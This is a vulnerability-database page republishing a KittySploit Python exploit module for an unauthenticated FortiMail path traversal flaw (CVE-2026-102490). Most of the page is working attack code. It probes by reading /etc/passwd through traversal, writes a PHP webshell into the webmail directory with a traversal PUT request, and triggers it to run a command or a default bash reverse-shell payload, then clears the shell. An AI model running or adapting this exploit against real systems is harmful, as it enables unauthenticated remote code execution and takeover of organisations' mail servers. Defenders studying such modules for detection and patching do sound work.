Lucene search
+L

FortiMail Path Traversal RCE (CVE-2026-102490)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Unauthenticated path traversal and NULL-byte mishandling in FortiMail allows RCE.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""FortiMail unauthenticated path traversal RCE (CVE-2026-102490)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'FortiMail Path Traversal RCE (CVE-2026-102490)',
        'description': (
            'Exploits CVE-2026-102490 in FortiMail: unauthenticated path traversal '
            'and NULL-byte mishandling allows writing arbitrary files, enabling '
            'webshell deployment and remote code execution.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2026-102490'],
        'platform': Platform.LINUX,
        'arch': [Arch.CMD],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2026-102490'],
        'tags': ['fortinet', 'fortimail', 'path-traversal', 'rce', 'unauth', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/fortimail_cve_2026_102490_detect'],
            },
        },
    }

    write_path = OptString(
        '/var/spamdata/webmail/ks_shell.php',
        'Remote file path for webshell write',
        required=False,
    )
    command = OptString('', 'Command instead of payload', required=False)
    cleanup = OptBool(True, 'Remove webshell after exploit', required=False)

    def _traversal_write(self, remote_path: str, content: str) -> bool:
        encoded = '../' * 8 + remote_path.lstrip('/')
        path = f'/module/release_control/{encoded}'
        r = self.http_request(
            method='PUT',
            path=path,
            headers={'Content-Type': 'application/octet-stream'},
            data=content,
            allow_redirects=False,
        )
        return bool(r and r.status_code in (200, 201, 204))

    def _shell_url(self) -> str:
        remote = str(self.write_path or '').strip()
        name = remote.rsplit('/', 1)[-1]
        return f'/webmail/{name}'

    def check(self):
        probe = self.http_request(
            method='GET',
            path='/module/release_control/%2e%2e/%2e%2e/etc/passwd',
            allow_redirects=False,
        )
        if probe and probe.status_code == 200 and 'root:' in (probe.text or ''):
            return {'vulnerable': True, 'reason': 'Path traversal read confirmed', 'confidence': 'high'}
        panel = self.http_request(method='GET', path='/', allow_redirects=False)
        if panel and 'fortimail' in (panel.text or '').lower():
            return {'vulnerable': True, 'reason': 'FortiMail detected — traversal may work', 'confidence': 'medium'}
        return {'vulnerable': False, 'reason': 'FortiMail traversal not confirmed', 'confidence': 'medium'}

    def run(self):
        cmd = str(self.command or '').strip() or str(self.payload or '').strip()
        if not cmd:
            print_error('Set a payload or command option')
            return False
        print_status('CVE-2026-102490 — FortiMail path traversal RCE')
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not vulnerable'))
            self.not_vulnerable()
            return False
        remote = str(self.write_path or '/var/spamdata/webmail/ks_shell.php').strip()
        php = f'<?php system($_GET["c"]); ?>'
        print_status(f'Writing webshell to {remote!r}...')
        if not self._traversal_write(remote, php):
            print_error('File write failed')
            return False
        shell_url = self._shell_url()
        print_status('Triggering webshell...')
        self.http_request(method='GET', path=shell_url, params={'c': cmd}, allow_redirects=False)
        if self.cleanup:
            self._traversal_write(remote, '')
        print_success('Payload dispatched — check listener for session')
        self.vulnerable()
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.17.8
CVSS 49.4
EPSS0.0055
SSVC
0